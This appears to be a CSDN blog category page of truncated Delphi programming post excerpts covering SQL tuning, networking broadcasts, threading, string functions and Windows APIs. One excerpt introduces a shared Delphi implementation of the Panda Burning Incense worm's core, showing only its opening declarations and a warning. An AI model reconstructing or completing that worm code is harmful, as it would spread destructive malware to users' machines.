![](https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
Delphi
文章平均质量分 81
guos52
这个作者很懒,什么都没留下…
展开
-
sql技巧总结
一、提高查询效率先进行准备查询操作:CustomerQuery.Close;if not (CustomerQuery.Prepared) then -->查询是否已准备好CustomerQuery.Prepare; -->查询准备CustomerQuery.Open; -->执行查询二、要在运行期访问参数,有三种方式可以选择:(适合BDE控件中的TQuery)(1)ParamByName:原创 2009-01-15 02:28:00 · 176 阅读 · 0 评论 -
sql语句性能调整
sql语句性能调整的目标是: 去掉不必要的大表全表扫描 不必要的大表全表扫描会造成不必要的输入输出,而且还会拖垮整个数据库; 检查优化索引的使用 这对于提高查询速度来说非常重要 检查子查询 考虑sql子查询是否可以用简单连接的方式进行重新书写; 调整pctfree和pctused等存储参数优化插入、更新或者删除等操作; 考虑数据库的优化器; 考虑数据表的全表扫描和在多个cp原创 2009-01-15 02:37:00 · 162 阅读 · 0 评论 -
病毒内核
[分享]熊猫烧香 病毒内核功能实现 DELPHI 严重警告 !!!请不要在未读懂源代码的情况下编译运行本程序,否则后果自负!!! program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; 病毒体的大小 IconOffset原创 2009-01-15 02:32:00 · 291 阅读 · 0 评论 -
pascal函册
名称 类型 说明 ----------------------------------------------------------------------------------Abort 函数 引起放弃的意外处理Abs 函数 绝对值函数AddExitProc 函数 将一过程添加到运行时库的结束过程表中Addr 函数 返回指定对象的地址AdjustLineBreaks 函数原创 2009-01-15 02:29:00 · 179 阅读 · 0 评论 -
批量执行SQL
代码:unit DHibernateBatchSQL;interfaceuses Classes, SysUtils, db, ADODB;type TOnException = procedure(Sender: TObject; E: Exception) of object; TOnFinishOne = procedure(Sender: TObject; Fi原创 2009-01-15 02:25:00 · 156 阅读 · 0 评论 -
线程排序
在数据处理量很大的情况下,如何在数据处理的同时响应用户操作?Windows95/98和WindowsNT作为多线程的多任务操作系统,其调度单元是线程,即线程是系统分配处理器时间资源的基本单元,所以我们可以利用线程实现在处理大批量数据的同时响应用户操作。 DELPHI作为一个优秀的开发平台,对开发多线程应用程序提供了强有力的支持,即可直接利用32位Windows环境提供的Wi原创 2009-01-15 02:17:00 · 201 阅读 · 0 评论 -
最快的字符串替换函数(中文兼容)
其实还可以在FastReplace中先对FindStr进行判断,如果FindStr完全是中文的话,直接可以在FastReplace中用FastPos,这样可以提高速度。unit FReplace;interfaceTypeTFastPosProc = function(const aSourceString, aFindString : String;const aSourceLen, a原创 2009-01-15 02:38:00 · 178 阅读 · 0 评论 -
NetBIOS广播收发
NetBIOS网络协议对于很多读者来说可能比较陌生,但其实它是由IBM开发的一个很古老的协议,当年在LAN上也风光一时。说它老,其实也不过10年光景,IT业的发展实在是太快。由于NetBIOS不具备路由功能,也就是说它的数据包无法跨网段传输,因此在广域网、城域网大行其道的今天,它已退居配角。如果你有心的话,能够发现在Window9598的网络协议中仍然保留着NetBIOS,不过它已经改名叫NetB原创 2009-01-15 02:36:00 · 265 阅读 · 0 评论 -
视频广播和点播程序
视频广播和点播程序本文目录一:前言二:Mpeg1文件格式三:网络数据广播四:服务端程序编写五:客户端程序编写六:后记一:前言本文将介绍如何用Delphi编写视频广播(DVB)和点播(VOD)程序.内容将涉及网络数据广播和Mpeg1文件格式.希望通过本文大家可以知道流行的流媒体是怎么一回事.我们先来了解一下什么叫DVB和VOD.DVB就是视频广播,表现形式为服务端程序打开一个视频文件播放,同原创 2009-01-15 02:35:00 · 267 阅读 · 0 评论 -
windows XP系统内核文件分析(全)
windows XP系统内核文件分析(全) 这两天逛论坛, 无意中发现了这个帖子. 作者极尽所能的介绍了 Windows 系统文件的相关信息. 极有参考价值. 虽说, 这个不同于 nLite 的预先精简定制, 但是相信对于 nLite 精简效果不够满意的大有人在. 那么按照这个指南就能够令你的系统最优化. 当然, 精简系统是要付出代价的. 不要贪得无厌, 免得系统坏了修不好啊. Wind原创 2009-01-15 02:33:00 · 451 阅读 · 0 评论 -
API 操作心得
varhDesktop: THandle;beginif stProgram[tmpint] = Dos thenShellExecute(0, open, cmd, nil, nil, SW_SHOWNORMAL);if stProgram[tmpint] = 我的电脑 thenShellExecute(0, open, explorer.exe, ::{20D04FE原创 2009-01-15 02:30:00 · 166 阅读 · 0 评论 -
UDP广播
NetBIOS网络协议对于很多读者来说可能比较陌生,但其实它是由IBM开发的一个很古老的协议,当年在LAN上也风光一时。说它老,其实也不过10年光景,IT业的发展实在是太快。由于NetBIOS不具备路由功能,也就是说它的数据包无法跨网段传输,因此在广域网、城域网大行其道的今天,它已退居配角。如果你有心的话,能够发现在Window9598的网络协议中仍然保留着NetBIOS,不过它已经原创 2009-01-15 02:34:00 · 268 阅读 · 0 评论 -
程序只运行一次并激活原来的程序
我们的程序有时候只允许运行一次,并且最好的情况是,如果程序第二次运行,就激活原来的程序。网上有很多的方法实现程序只运行一次,但对于激活原来的窗口却都不怎么好。 关键就在于激活原来的程序,一般的做法是在工程开始时,打开互斥量对象,如果打不开表示程序还没有运行,创建一个互斥量对象;如果打得开表示程序已经运行了,查找程序中一个特定的窗口,一般是主窗口,然后发送一个自定义消息,主窗口在这个消息处理中激原创 2009-01-15 02:39:00 · 339 阅读 · 0 评论